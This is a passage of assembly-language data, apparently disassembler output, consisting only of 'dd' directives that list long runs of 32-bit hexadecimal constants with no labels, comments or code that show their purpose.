		dd 82407891h, 4BC749h, 45835BFBh, 0F8AC5CC8h, 0DF644A00h
		dd 6B5AEFBFh, 20C41E43h, 292C8E54h, 986FBE84h, 0FE12D660h
		dd 5C12370Fh, 0DC1828h,	3A196B5Fh, 0D42A052Bh, 9A1EEEB0h
		dd 90810159h, 301EB833h, 4822ADF4h, 6A0004E0h, 1B9FE1B2h
		dd 65583CDAh, 6056014Ch, 785FDE47h, 21EA0898h, 0E63B6D21h
		dd 0A29489F6h, 48ED0C0Bh, 4BBDA15Fh, 670A4FCh, 0F540E75Bh
		dd 364660DFh, 45E64102h, 43304056h, 691D809Eh, 35E63Eh
		dd 19C67192h, 0E4ED847Dh, 171B00C4h, 7A1C2B36h,	0E498B830h
		dd 80BC4E37h, 0B084DF90h, 0E6715Eh, 43795A20h, 9976DAD1h
		dd 370761FCh, 0DE6E3242h, 31EC1820h, 0DCFE26h, 97518D9Fh
		dd 337E173Dh, 3E67C202h, 9031BC79h, 11E6645Ch, 9E685644h
		dd 6C1E21B1h, 1F6016D9h, 5D6B0041h, 6A513D45h, 88C51CD1h
		dd 0BC311A64h, 29FCEA5Fh, 744D2B96h, 80389198h,	5643E663h
		dd 0E96E8C50h, 0E66B4021h, 0EEEEC9Dh, 0E0074983h, 0A2628C3h
		dd 83DCF23Eh, 0D66EDA82h, 3BF10127h, 0A8629844h, 9CBAD84Eh
		dd 183A9E3Ah, 6120D9F3h, 0C9B018Ch, 0F9347C43h,	0ABB442A9h
		dd 6B461844h, 42E66602h, 0EB317856h, 0E64E1C10h, 0D4CFF40Ch
		dd 3861F5h, 0BABEC2E1h,	4A3B7BBCh, 2EAF2300h, 0CA5E40EBh
		dd 3029F064h, 1B319C91h, 0EA48CDD5h, 40792900h,	1218E859h
		dd 8DF6C0FBh, 101C3349h, 3512B6FEh, 9904603Ah, 0C20C6F56h
		dd 1922D771h, 0EBEC077Ch, 1147F188h, 0CC42AB29h, 3406279Ah
		dd 0DE034FDFh, 7B7A7AA9h, 0CD5F76FDh, 6B096720h, 6E0C8218h
		dd 2F0D00FDh, 0C778B3CDh, 2D03B532h, 0A78F9CD4h, 2CD94249h
		dd 803081E2h, 0FFF3003Eh, 0C7B4A77h, 706252Ch, 369BADF7h
		dd 78952468h, 0ED465E6Ch, 25D17607h, 0BD6AF34Ah, 57A07FA7h
		dd 382351BEh, 2700A091h, 67BF367Eh, 9A400AFh, 0A146E677h
		dd 0E8194B9Dh, 68D82DB2h, 0FB048218h, 98535F85h, 9B208332h
		dd 1EFD2Dh, 0E8C8E37Ch,	0E00D735Ch, 9C9191F4h, 60603D64h
		dd 567248E6h, 1AC06499h, 0FD0E668h, 531674E8h, 0E500BC88h
		dd 9F5E20ECh, 8D8C098h,	0D817AC36h, 0E50C0D4h, 4E3DB0D5h
		dd 0D9DD0039h, 49DA89B9h, 4280B02Ch, 9EA86498h,	5BC03A42h
		dd 20639B8Ah, 90AB9904h, 572003A2h, 0CA656C31h,	983A5A58h
		dd 6F018E23h, 3E33EF51h, 806D4091h, 5F32FD29h, 229A432Bh
		dd 709C038Fh, 0C46E16FDh, 59BE2EB0h, 5F6BA300h,	0D0F315CAh
		dd 0C617FDAh, 2C302F81h, 0BFF299F1h, 6983CE07h,	35B056A7h
		dd 2A0580Eh, 0AA024B17h, 0B844D203h, 182D3422h,	19CA53A4h
		dd 0C0302957h, 5BEDF8D6h, 1896601Ah, 4F9C351Dh,	32C0DE50h
		dd 88BC7200h, 42027AC8h, 5E7771h, 405BE47h, 41B2518Ah
		dd 9EA8F664h, 0E4003C8Dh, 2482AC32h, 91448E65h,	0FB7C8066h
		dd 8C635F7Bh, 909D8444h, 7EEE00C0h, 0CF5F99D7h,	9C1232E6h
		dd 0AC014393h, 7433ACE5h, 708FDCFDh, 41895A5Fh,	0A0599400h
		dd 58320FEDh, 3069785Bh, 7E12FB85h, 80388B5Fh, 0FD2C00A0h
		dd 0E4386B90h, 843F9CDBh, 561C8254h, 0C0692021h, 0B1DAA284h
		dd 19E7D1E4h, 123FC7D8h, 5F2429Ah, 30EC1F02h, 9E53A2D0h
		dd 17C8B40h, 0A8252BC5h, 23DA6E5Dh, 9E43A1B8h, 0B93F840Ch
		dd 0D3FF8051h, 78A10516h, 0E0702A8Fh, 28A2FC88h, 4E0EF19h
		dd 1087AC34h, 0F1CA02B5h, 0D4A88126h, 30ACE70Fh, 16440834h
		dd 116C1749h, 7F4C7E4h,	3D7DF240h, 793F3EE0h, 91605748h
		dd 0FEF10D8Eh, 64586600h, 6029896Bh, 0DB5F1239h, 71FC089Bh
		dd 639841C0h, 864676A8h, 5A214060h, 109B89h, 83AFD1A8h
		dd 0C742842Fh, 6BE52E0Bh, 9258A049h, 90D4EB78h,	0C2530724h
		dd 0C0D8C381h, 0A1252A3Fh, 511FD3FBh, 3E8069F3h, 9CBF7A21h
		dd 0F68B00C5h, 6443C804h, 0E40BD8FFh, 0A0DC3957h, 6F4734FCh
		dd 41A66091h, 9A435F1Bh, 0B3BEF4A0h, 4582C80h, 0B857A96Eh
		dd 88588E47h, 0DBA5C08Fh, 91F2AE65h, 0EC29590Bh, 53BC2384h
		dd 0E50FDCDAh, 0C8C9B084h, 78C2BA0h, 0A8619843h, 68586836h
		dd 0DF98004Bh, 7A843D0h, 0EC99542Ch, 8ACF70Ch, 0BA8B0EDCh
		dd 0C60ED96Fh, 26642383h, 30EE5CE9h, 374C40DCh,	143CD4ECh
		dd 2CC044D9h, 896098F9h, 70EE561h, 8379A4C2h, 11107190h
		dd 84002067h, 47A95D00h, 72A6C7A0h, 31DFF40Bh, 4D93E09h
		dd 509C57CAh, 115FA4A6h, 0B2370F00h, 5C80E74Ah,	1E2B2C70h
		dd 0ABF7C364h, 4708C101h, 0BFAF3B5Dh, 11361FCh,	6D191DC4h
		dd 0EC7B58D7h, 0F0BA0AACh, 0F2E4A085h, 7D0FE360h, 9775CD00h
		dd 0AC35F742h, 0F82F6B8Bh, 8311401Dh, 65AF7380h, 1800A2ADh
		dd 5E522CA3h, 4C8C29B0h, 54B0ECCCh, 0F630971Bh,	347FF1BBh
		dd 37260119h, 3CDB7E2Fh, 0A3089867h, 3F307C21h,	94000119h
		dd 0EB6AE66h, 0BB0B9F40h, 20D99778h, 48A1410h, 4DC60FF8h
		dd 1F40742Fh, 9DA47E17h, 59D67204h, 80B61BCBh, 67016C23h
		dd 70564FE6h, 1F8F8873h, 5C30E6C0h, 53098255h, 0A0A45Ah
		dd 7F70BAD0h, 8408B12Fh, 23D91FE4h, 550AE47Dh, 0A846567Ch
		dd 0A0705915h, 8A117188h
		dd 27193380h, 25876737h, 7FF40C80h, 8E0011D6h, 0FB69E5C4h
		dd 7BFA4B54h, 0AEA10084h, 951BFE3Ah, 4DE8525Fh,	7E30F754h
		dd 357C1908h, 40A4C49Fh, 0F5193276h, 3B79004Eh,	7F7CEAB0h
		dd 2A62B96Ah, 64A38EF8h, 5FD518F4h, 1A5C39BCh, 0E491C8AEh
		dd 6918EA71h, 9F1160Ch,	0FD161D5h, 278DA00Fh, 1A71EEA0h
		dd 5F0E6274h, 0C534D9D3h, 0CC1FEBF7h, 0F941CA45h, 0EE303882h
		dd 26A4610h, 5F7FFB80h,	0BCE783h, 2FFD2B99h, 8D30CA7Fh
		dd 0EC9EF03Ch, 0C3A503D5h, 0B29A5BA9h, 0F02FE04Ah, 0BB00E723h
		dd 4F57C739h, 0AC36090Ah, 3409373Bh, 664C7466h,	0F8C7AA4h
		dd 0A83F9845h, 0BDF488D1h, 0A3984D80h, 26E1D682h, 56179C78h
		dd 0C4400601h, 0ED618C7Eh, 83BA00E7h, 7932855Ch, 5EFAC002h
		dd 60010B0h, 7F4E5464h,	0BAF545A2h, 51F8BBBCh, 680188Dh
		dd 9DA9D96h, 0E52639D4h, 733F6758h, 0E62BEC01h,	0E0020157h
		dd 24EEA882h, 0E09831F5h, 0A0A8D7BFh, 0A07EB57h, 177A523Dh
		dd 0ECC06937h, 39559D67h, 7CCCE508h, 1738D710h,	584F30BFh
		dd 3A2A20A4h, 3B5E85h, 7F6AC016h, 6C399D4Fh, 27BC725Ch
		dd 400375Ah, 0C193BD4Ah, 7DD3710h, 0B1D826h, 26AB2E34h
		dd 516CCFCDh, 0EC3A41C2h, 12B85231h, 17FA92h, 0C5B040D1h
		dd 0DF1B5181h, 0B82129D7h, 12FF2Ch, 3A947B60h, 0B3A53D24h
		dd 2244C327h, 488FF494h, 3A06E8C0h, 0F800FF63h,	0E6A655BCh
		dd 6800FCA3h, 1C894CBh,	29486CE0h, 71783341h, 3C481882h
		dd 3A06EEB8h, 79BA5AD5h, 0BF300970h, 77BDF9ECh,	7D86016Dh
		dd 0ED529BA1h, 5DBAF865h, 62830E1Ah, 51AC6230h,	18F7D9B8h
		dd 2ED0E42Ch, 0BA46D72h, 0BC3065EEh, 0ACB9D72Dh, 0A54E5700h
		dd 4FCC91h, 2BA2A6B0h, 0AAE3CD2Eh, 43FBB201h, 0ECA127C8h
		dd 40091C70h, 0AC7E3445h, 0CC0104E7h, 125B75EBh, 2F4E5028h
		dd 38E7239Ch, 11B9A28Bh, 98BBE180h, 60C03DCFh, 23089F8Ah
		dd 376F05E6h, 0A6797E27h, 6564B01Ch, 2F4F0220h,	0E4F1E5FAh
		dd 88214451h, 26D3C883h, 540C90F4h, 0DB9B076Ch,	40877D18h
		dd 3925B28Ch, 0EC8EF62Ah, 28E2DD00h, 0C08F42F0h, 1A8C00FBh
		dd 0B16F5141h, 0E45CB045h, 8CF4E858h, 5649AA00h, 0E651E321h
		dd 403904B3h, 82B835F2h, 4F306F08h, 0A8651398h,	0C08B96h
		dd 0E69B975Ch, 120F8372h, 82D6CC89h, 731ACD7Ch,	3B215054h
		dd 8C133F02h, 0C016495Eh, 0C6711Bh, 6C6E8A39h, 6F2F9E91h
		dd 0DD50EE15h, 22C3EC4h, 6629772Ah, 0A0084039h,	0D1B49147h
		dd 25EC198Bh, 0AA0913B0h, 1E50027Eh, 2C78EE10h,	2CDE7A00h
		dd 0D43957C3h, 0B833088Fh, 2880C904h, 0EB54BA4Bh, 0E76E8C5h
		dd 6B7109A4h, 0CD40D0E0h, 0F9093AF8h, 9485BADh,	59B49240h
		dd 188679A4h, 0F93D006Ch, 1DFC3309h, 0DF58B11Fh, 3C152493h
		dd 0BF9C3202h, 6BA4E913h, 0BAD0F4E8h, 0F74B219Ch, 82198081h
		dd 0A6184F35h, 19E47889h, 0D7FF07D6h, 0E0E6B07Bh, 0F7C45991h
		dd 5D5A5E05h, 0C8CED0F8h, 1C9A4C8h, 3F6A0FB3h, 546203DDh
		dd 2FE73300h, 1F527B42h, 245E6D01h, 15239C37h, 7C44D080h
		dd 0B0126E56h, 0C4AC392Ah, 4B037000h, 57DFEF04h, 5320057Bh
		dd 14659A2h, 0D89C3088h, 2F6C60C6h, 0FA9E4820h,	0AECE3E18h
		dd 0B280A45Ch, 0FDD86EDBh, 59489C90h, 71D61CF8h, 8C411C92h
		dd 0A7986732h, 9343197h, 18402FE9h, 937262EBh, 4902E98h
		dd 0F933FC33h, 0B046B09Eh, 0DEB82631h, 9EC2CC0h, 0D4C03DCAh
		dd 2491035Ch, 8F0E4E00h, 1CE74016h, 40F2737Ah, 0D68D53D5h
		dd 0A53AF04Bh, 9124B010h, 5B5C2Fh, 8D5D34D5h, 264F327Ah
		dd 23746709h, 0B39CA03Eh, 90247731h, 0AB9339F4h, 69739601h
		dd 3849DD5Ah, 27AE0398h, 0D04CBAF6h, 0A7F4ACh, 5C74DB1Dh
		dd 6309B3F0h, 700A149Ah, 0B4028E53h, 0A7D13900h, 9CADBBFh
		dd 52A651C8h, 0A4913017h, 7A376481h, 4C80C015h,	0BBE22B12h
		dd 0B5F7B806h, 0B1CD3A29h, 0BFE82A80h, 84084B6h, 0EB0098A4h
		dd 0CDA05C7Fh, 112EE4h,	10D55E4Dh, 7CA9CFCAh, 33E3190Bh
		dd 340082DBh, 228D2027h, 3CEC1757h, 6D015824h, 0EA90CC20h
		dd 0E43AD61Fh, 0DA6001A7h, 89ECA588h, 94FC0CB3h, 5F78DB2Fh
		dd 0F1255A12h, 67C47C80h, 0B8B148C8h, 3363057Ah, 53EDA259h
		dd 8D8801B0h, 4E936D6Eh, 8F7C1120h, 8856D585h, 80513FF4h
		dd 0B5F434B4h, 0F98FB10Ah, 8C08B8CEh, 193960F6h, 2CE33729h
		dd 317DB060h, 64AB0019h, 0F62A5523h, 0FE053730h, 791A6FC0h
		dd 0EDE148A2h, 0BD0C9Fh, 9A11E15Eh, 2586FDB3h, 0D003AC08h
		dd 8BDA93DBh, 0C1E8C810h, 80B3F604h, 1D85A2B9h,	24009CAh
		dd 6A568B4Dh, 58B57894h, 0ABF6C300h, 69C3D1Eh, 5DD53CD6h
		dd 940A69B6h, 0FC316BE0h, 155A5305h, 7155E492h,	18A47114h
		dd 0AB2F0072h, 6E363E0Ch, 8F5ACA23h, 8D691000h,	93FCF51h
		dd 5438DEA8h, 0A7919C17h, 825FF58Eh, 23D59971h,	8DC56C48h
		dd 0E5626909h, 115DE41h, 81420D5Ch, 1BA930D4h, 17DCB894h
		dd 194BABCh, 165F839Dh,	5548922Ah, 0A523402Fh, 0A9853400h
		dd 2824A40h, 0F15A58DDh, 50D8E5h, 0A2F4720h, 2489B3E7h
		dd 0DB3A0EC0h, 4A095921h, 6BD420D9h, 0E50120B6h, 29EB9085h
		dd 0B3504842h, 9119FBA4h, 0AB185735h, 93D7988h,	0AD911619h
		dd 0C25FACC8h, 0FC4AED29h, 7DB2133Ch, 0E19EC082h, 0A0A70FD9h
		dd 8691EC97h, 3CAC1F80h, 0A30022C7h, 5F764BF3h,	99F41DA2h
		dd 0B4EA0904h, 186CA0C9h, 39FD0B26h, 2045735Fh,	0FD71A780h
		dd 1CA2395Bh, 706580h, 7CE441E9h, 0E32FA88Dh, 0D5042213h
		dd 7B5C0047h, 7D586A77h, 0CE1A8044h, 7169E65Fh,	1EBA0418h
		dd 0F3B65260h, 30E9B2F4h, 371D23CAh, 541C7F99h,	19A26943h
		dd 327003FDh, 0B931B4D3h, 0C4F4302Ch, 0B3A06040h, 340158ADh
		dd 0AE2F5F3Ah, 0DDEBD402h, 0B3EE8887h, 3058BD5Bh, 0D20412C8h
		dd 3A20C02h, 3A85C3Eh, 0D8AA0159h, 139C183Fh, 483EBCDCh
		dd 0B00E723h, 7720C317h, 0DC6C006Fh, 2BE5303Ah,	89D7015Bh
		dd 0C780A0DBh, 2B6FD97Dh, 0B812220h, 21930161h,	0D51BB800h
		dd 8CAA6358h, 0A511709Dh, 0D821A80h, 0CD0A3A70h, 0B857D53Fh
		dd 0A059DC80h, 1A3315B5h, 98DFF308h, 8B7978F9h,	5305D318h
		dd 0E7B201B0h, 3A4B801h, 0D084A7F2h, 5699399Dh,	0ECA2A425h
		dd 0D600703Ch, 30D5C026h, 0D800DDF0h, 92C98FF4h, 0D2470494h
		dd 75C7A98h, 8FD1C117h,	4847269h, 2BC3B040h, 3720B45Eh
		dd 8201B4EEh, 5BE6B833h, 3C2103C9h, 35DA3183h, 0B91E441Eh
		dd 325B27Bh, 8059C420h,	0F08E2693h, 0C1DB00ACh,	0D6ADA4AFh
		dd 560C44A0h, 588B2C31h, 0C253127Ch, 0E4BC509Dh, 8EA7E8h
		dd 41BE4BCAh, 0E2E5461Fh, 7C25A0C0h, 968A22Ch, 33FE307Dh
		dd 8E914C97h, 0FC5CD680h, 50045956h, 0D7E43742h, 0F00018ACh
		dd 5DEEB8A1h, 74919E6Fh, 869E40F0h, 878D3C00h, 35E20918h
		dd 2DB43A0Ch, 0A5452501h, 0D81DF107h, 1801A058h, 101BCECCh
		dd 0BC2CA4D2h, 56DD3D03h, 9820352Fh, 718A4CD9h,	6E083C02h
		dd 8C88562h, 0F72EE1A2h, 5596F4BFh, 0A688C0CBh,	0B57546C0h
		dd 9B00966h, 3C827916h,	78CFF7D4h, 0C2965E40h, 8FD30990h
		dd 887055FCh, 12EDB320h, 0DA528CC0h, 8C21C0CCh,	61A7A4h
		dd 1641FAF7h, 7CEB7B62h, 4833C400h, 2C075D7Eh, 0B4212C56h
		dd 2FEE859Ch, 23382EA7h, 330B07A9h, 0FDA2C1D8h,	5642011h
		dd 97AFA894h, 80F79140h
		dd 0D25B2017h, 27D89AAAh, 449782FBh, 60DA4008h,	0B3343C3Dh
		dd 0D005DF8h, 2783BF75h, 4A04B8F7h, 0C244D1D7h,	0A93EFCBAh
		dd 84941F00h, 52ADE9ABh, 0F21A07FAh, 26DB043Fh,	0F10031D1h
		dd 56BE811Ch, 28EFC3Eh,	9C3409DFh, 0DC80E7A7h, 82E61045h
		dd 80BC3595h, 7AAA8A4Dh, 510186CBh, 0BF6B2C09h,	7D009E33h
		dd 0BA00843Ah, 4956D6D5h, 0FAF0C3E6h, 0B42B5390h, 0D530F9A2h
		dd 1FDBEA4Ah, 1624E592h, 1EA82009h, 8B5F0210h, 0EB231C3Bh
		dd 36065D01h, 0DC68E7C4h, 8EDFEA04h, 0C2B8D86Fh, 30370605h
		dd 1094320Bh, 0BD85B431h, 1E23830h, 6B71647h, 3351D8A1h
		dd 338FA2F8h, 72BA62F8h, 0B30BA87Ah, 0A1DC0A01h, 916E230Ch
		dd 2A3F2000h, 0DCF3592Ch, 0BD2C17ADh, 0F4790046h, 3B64F08h
		dd 16AC92B4h, 5221D933h, 0A128E32Ch, 220C9E40h,	0E6BEC00h
		dd 0B66CEFF8h, 33E33EF1h, 23A82F5Fh, 5B8D0F90h,	749C33A7h
		dd 4F5C85DBh, 0A6E4428Ch, 0C7B0D0BDh, 0B8A530FAh, 0E638EE4h
		dd 80430CE1h, 0A0567CACh, 0F846F315h, 24CCB8C2h, 12347450h
		dd 0E784E633h, 0D7718A61h, 1A5BA20h, 7F9B2809h,	2C2BE0B3h
		dd 0A70D7FD4h, 59BBA38Fh, 84BC3C68h, 17EA008Ch,	5475A5BAh
		dd 0D2B05680h, 2405EE13h, 0D10F6CE2h, 0B6E03Bh,	7BD70A48h
		dd 0D517B483h, 0D053175Ah, 0A223103Ah, 3D0A6E00h, 9ACA7Ch
		dd 0F75E0BD3h, 55571488h, 0A6568D13h, 0A8C8F48Bh, 2BC1F6C0h
		dd 0C7060125h, 3A35DEE1h, 28684369h, 631A1799h,	916F01B4h
		dd 6382E8DEh, 3FBC107Ch, 8400DA43h, 4071EB04h, 7307495Eh
		dd 22190E6Ch, 8E50C0E9h, 9ACB9ADh, 0F0C8F7EFh, 0A9736E59h
		dd 236FFC05h, 889B22Ah,	0D023C2E1h, 0D830EDA2h,	0C57D0F4Ah
		dd 0D147FC67h, 0ADF690B5h, 80973903h, 3D38B94Ch, 803C9EBFh
		dd 0AE806E55h, 0E6030CE5h, 4446B6A1h, 434E809h,	3B583BA0h
		dd 0FCB014F9h, 0F8BC9082h, 8005D943h, 88CA51A9h, 0E45E3CA0h
		dd 0D40A0844h, 0F432D50Fh, 60F0C7C0h, 9D05A4Dh,	0D03C2157h
		dd 2CEE0504h, 29DA006h,	0E16BE520h, 89125C71h, 6C811865h
		dd 79D63580h, 367A6158h, 5787D019h, 0C1E96007h,	667022ACh
		dd 95F7CC17h, 33777420h, 0E41EC786h, 0B0C080E8h, 2F1FA33Dh
		dd 0B27302D1h, 351E7821h, 990BCC0h, 311BA013h, 8D232C2Fh
		dd 84EF2E04h, 1D090085h, 807CF0A8h, 3D9E56C6h, 32CE28D3h
		dd 0D47941D8h, 0A918A0D9h, 0BEC948h, 74CB892h, 0BC08525Ch
		dd 0E8F181D0h, 0E0874311h, 44009B5Eh, 0AA6BA76Ch, 4BAC31AFh
		dd 0A22484FFh, 3282F29Ch, 60F2A901h, 0A10C20C1h, 0B0F3C40h
		dd 0D73FF77Bh, 0C5B09890h, 0EC8F210Fh, 6B468034h, 199DB11h
		dd 5DA6BB8Bh, 0D3854788h, 36EC3AE0h, 0E574A095h, 16FB7D4h
		dd 23C9403Ch, 30AF478Ah, 43F8B8D4h, 846E896Fh, 0CADE0BCh
		dd 0C438CB5Ah, 1E309FEAh, 7505D649h, 0EEF6C65Bh, 0EBE828A8h
		dd 34FC008Ch, 51B5A058h, 349C034Ch, 121ACD80h, 0E2182871h
		dd 0A119009Eh, 0E2706334h, 8D755072h, 406F5E00h, 451E599Ch
		dd 2DFC0B58h, 24C8F64Ah, 0C003989Eh, 0C64D9463h, 516BD8C5h
		dd 282D0907h, 0CD00A03h, 2938D73Ch, 0E10288D6h,	0C3783A08h
		dd 0DB104B64h, 0BC5D8078h, 4FCAD318h, 0DD745361h, 0C0205A28h
		dd 77A8360Eh, 0A3DF0841h, 9A274905h, 21908224h,	2C5EF2h
		dd 0AFD67B7h, 3802694Bh, 0DD33ADA1h, 7868D3B2h,	3938FA62h
		dd 424F800Ch, 0A540CBEBh, 0BF2F09A1h, 0ECE5B1CFh, 5A10C8BFh
		dd 0E488D4CEh, 629ECBC0h, 5E572DE8h, 92600C1Ch,	6FC35971h
		dd 0B4762C03h, 1A099D28h, 87B307Dh, 215CD4ACh, 8D809FEDh
		dd 0D1BD8290h, 0A88F15A9h, 51138C89h, 0BFEC0508h, 0DAC00B98h
		dd 5248BC04h, 0FDF2B4A2h, 9A8AE30h, 0E42957CBh,	7604D422h
		dd 1D028C78h, 0D8E8D55Ah, 3CB491DAh, 12BE28E4h,	20BF1973h
		dd 5A0159D4h, 0E64081E9h, 0EEF8F65Bh, 499D743Ch, 34F06038h
		dd 49C7053h, 5C0CE135h,	0DA1E1880h, 6F5613E5h, 0BC804C1h
		dd 7110F4EDh, 88B5B786h, 0BBF8D500h, 40762BA2h,	0A03B0BB3h
		dd 50E4247Dh, 0B611B42Ch, 1F12323Dh, 2BE4E10Eh,	1E29C20h
		dd 20EF0031h, 4FA58325h, 2E122DBEh, 0F4F077A3h,	0D149E7Bh
		dd 89A1E104h, 8086CA18h, 5F1D0D04h, 25D5B6Ah, 348CD9F8h
		dd 0A258A87Bh, 998BEh, 835E16Eh, 0E5A497B5h, 2D384805h
		dd 38E59941h, 8DBCF468h, 12EF018Ch, 561F7949h, 20E83098h
		dd 0DC02E475h, 7C34D8B2h, 28CDE0Bh, 82DB0440h, 215CB4D4h
		dd 3980D9F8h, 0BBA771E3h, 0EC0327E0h, 0DE7CBC80h, 76CB43DDh
		dd 0E85C0E47h, 349E1723h, 236C2E48h, 7E840086h,	0C161F60Fh
		dd 0E4D66717h, 4FD86C66h, 0EA9C0B4Fh, 0A944F8C7h, 705AF861h
		dd 0BD2BA240h, 5821F43Bh, 0C621F8h, 320FF1DCh, 0D5E545CCh
		dd 40485451h, 4DF8E40Ah, 465EDC9Ch, 6B001F8h, 0B25EE225h
		dd 5C3822DDh, 0F8BAC210h, 0F2048CEBh, 5BA89711h, 0CAD5A091h
		dd 2A28083Ah, 3E9848C0h, 2C6E4FA8h, 50016D2Ch, 68B31D98h
		dd 0E6DC3F71h, 25D091C6h, 0A2E408C5h, 0EB8D160h, 0F1A56E01h
		dd 31567D4Bh, 0F83387F8h, 701978A2h, 1C0A9F21h,	0E08C8274h
		dd 6F183F27h, 8AC62623h, 86C2C20h, 420BDA84h, 0C0FCCDC2h
		dd 31D5FC29h, 5C5F3A00h, 4839248Dh, 7E2B18A8h, 647F68ACh
		dd 16032012h, 7F395CE0h, 96522FE6h, 97800CBDh, 23A48DE7h
		dd 0C79540E2h, 9D1BB72Dh, 80A7916Ch, 0B862A4D7h, 40D64A75h
		dd 44E8BB2Ch, 563EA909h, 3E9BB6Bh, 0BF37C8DBh, 0A27C98B3h
		dd 940100EAh, 7A5FE8A6h, 0BC4E9E59h, 7300106Eh,	20E486B0h
		dd 401D56CFh, 35425FE3h, 0D9E71638h, 18F6D924h,	0B5C23CEEh
		dd 0CF6F5909h, 1C703873h, 28FE050Dh, 0F1FB58D5h, 0BC282854h
		dd 61048CA6h, 0F6632BB3h, 0B19CB4h, 0AB5A7826h,	531C1FDBh
		dd 0DBECE04Ah, 0DFA62704h, 7428ED29h, 0B6CB4701h, 0B01203A2h
		dd 0A7633024h, 0DA3F428Ch, 66FC8B19h, 0F3E7EF8h, 0EE9071BEh
		dd 0A280DA08h, 3C899D75h, 0D7A75B91h, 315980D8h, 1B5D788h
		dd 52987160h, 0A7B82838h, 108E28Ch, 35ABACD7h, 30E1837Ch
		dd 4A4DA3DCh, 7EFC4114h, 24EE6840h, 0C14BD604h,	4623A2C1h
		dd 0FCDC74B5h, 149A825Eh, 2BB96DC0h, 0A3E6C799h, 1AC16416h
		dd 0E634F407h, 0FB52A742h, 20445810h, 0A4A4813Eh, 2340A4D5h
		dd 8AD0CBh, 5E90CC9Ah, 1C3DC20Dh, 410BB000h, 0B1819EA6h
		dd 0FCA4588Fh, 9DA26982h, 5C125C70h, 5CB45BE2h,	0DDFF09CDh
		dd 0C0042442h, 4530E0DBh, 0E4357F0Bh, 47B460B3h, 0DCFC4CB0h
		dd 18CF6E8h, 65A974Dh, 8BFB70BEh, 0A02EBF61h, 0AB74D6E0h
		dd 8E40004h, 5BAFF2AEh,	0A200E27Fh, 0CF388B55h,	9E23A02Fh
		dd 56AC934Ch, 697AA84Ch, 8101D89h, 0BC60D9F2h, 1415178h
		dd 0E8E55740h, 0D4B76E59h, 0F494AC39h, 0A4809C1Ch, 5680B6C8h
		dd 7B099529h, 9035C854h, 0E9ECB0FCh, 0A349008Ch, 8BE063D7h
		dd 6CB82A79h, 7D889174h, 670E40C3h, 278E9407h, 5B90326Dh
		dd 66F5B25Fh, 0C3C2842h, 31BBE801h, 3E51A259h, 257018A8h
		dd 0D009F25Dh, 0E3007CE4h, 24BFBA6Bh, 1C40C40Dh, 0C94A8258h
		dd 8A9F201h, 0C200058h,	7C80B01Dh, 0A0F89E83h, 0DBB23230h
		dd 145C2028h, 3AA8467Ch, 53498943h, 0B33CA0D6h,	0D793B231h
		dd 0E030A688h, 0F4F7DDEh, 0DB936904h, 0B230E392h, 0A7A63081h
		dd 0EAEBF900h, 86D43BCCh, 55940B25h, 106DBC1Ah,	0E8E984C0h
		dd 5E6AFEE7h, 3A2C803Dh
		dd 3225BBE4h, 9FDCA2B5h, 239A01E0h, 5844682Eh, 0A9A73FECh
		dd 8DD168DDh, 0BA0C9918h, 80316B79h, 404241E5h,	0BCC20BDCh
		dd 6C5FC0A4h, 206E6017h, 12CFE303h, 0ECC83BDEh,	90B4541Bh
		dd 80BD60D6h, 0A3E67986h, 0C2568E01h, 0CF99E7A1h, 9778C2EBh
		dd 82EA91C0h, 7E5A10A5h, 5E9840FCh, 0F700862Bh,	650B67C4h
		dd 59FA0956h, 1D0044DEh, 3117BA1Eh, 0C595CE4Fh,	60F9E4C8h
		dd 30B81CEh, 0FACA2551h, 5CAB337Dh, 0CD2B5805h,	0B4028DAAh
		dd 0FC9C2157h, 5B7009F8h, 0CE83209h, 0C082D498h, 809E2E30h
		dd 0B003C79Fh, 0B7F783FAh, 1E69902Ah, 1FDE305h,	6B6FEB20h
		dd 0B460DC1Ch, 0AB1C3E82h, 7D00CD3Ah, 316C8050h, 640F07D5h
		dd 807E4733h, 6F2F8C6Bh, 16288D01h, 0AF4232CCh,	4127A460h
		dd 0D90020DFh, 0DAD0EE12h, 7C80089Bh, 1FDED6F4h, 20083E2Dh
		dd 62DBD7B4h, 0FDAF00CFh, 8CF415AAh, 277334EBh,	382A6D1Eh
		dd 0D5B84AC2h, 82507E5Ch, 0B247150Bh, 95B7584Eh, 80FD91A4h
		dd 6F20F2A5h, 392D60D6h, 0B3214650h, 90C85C4Ah,	0CEA35B0Fh
		dd 85410030h, 21F7E551h, 7CB09CDAh, 0C0008F46h,	5DF488D7h
		dd 3117564Dh, 94A4D8C4h, 61F728DCh, 44E89028h, 1C07EAB0h
		dd 59677545h, 0B7FC38F0h, 0D0E44CC3h, 0ABF9A19Fh, 6C02D118h
		dd 1B04D7Ah, 78C5802h, 0E7B2537Eh, 41DF935h, 7083A391h
		dd 0F080AAABh, 0BCEAB83Ah, 0E42E042Ch, 7DFD467Eh, 2657E13Ch
		dd 8002D4DDh, 425370A9h, 981D5DA4h, 609E4388h, 5A2FDF08h
		dd 11239404h, 0AD80D6D5h, 24F4C5A0h, 27486C84h,	3E6F1098h
		dd 944880h, 0B92C9FBDh,	92232678h, 5F88B167h, 6615E2C0h
		dd 3CB490A8h, 0A70012B6h, 625883DAh, 5053DF5h, 8CBAF121h
		dd 279908C1h, 0DE603C00h, 0B6E6EC04h, 38B27977h, 0F830EBE2h
		dd 0B4547875h, 8D465E30h, 12D4321Dh, 64801B3h, 0DA03A86Bh
		dd 31853068h, 0CC9BAC3Ah, 8DB86214h, 6B0F0249h,	98005C66h
		dd 2A2CD379h, 0DD51E4h,	151767A9h, 7E6A5C7Dh, 0DED1C600h
		dd 0FDD00E09h, 52AF2544h, 0A1583853h, 3D31E891h, 7B1360F5h
		dd 7640F8Ch, 2800D0D4h,	813DA65Eh, 0C2629DFh, 172D20D5h
		dd 0DA3F8894h, 0FFC06A64h, 3C68C4D1h, 4AD7E0Eh,	0D0DB70A7h
		dd 8A1CE5BDh, 9C90E1E6h, 217920h, 70F5F001h, 0C603A4BBh
		dd 5C81A34Fh, 3E3A1BBDh, 0DA401070h, 0BC6B25C0h, 0E302CF89h
		dd 0D7E97176h, 80ACFCB4h, 2EEC8B64h, 0E80948BFh, 0B2F91AA1h
		dd 5EC85C2Ch, 0B07E946h, 0B176EB39h, 0E4B343FAh, 8A4B0159h
		dd 9406E812h, 0F0E08E86h, 4A5EEEDFh, 7A4C0F4Eh,	0ECD8CA04h
		dd 4B0501B8h, 73CD7433h, 6EAED444h, 48FF01BCh, 0CA4EECD3h
		dd 24B306FCh, 0AC7D0Eh,	8D5C76A2h, 83063825h, 0B76E0BA4h
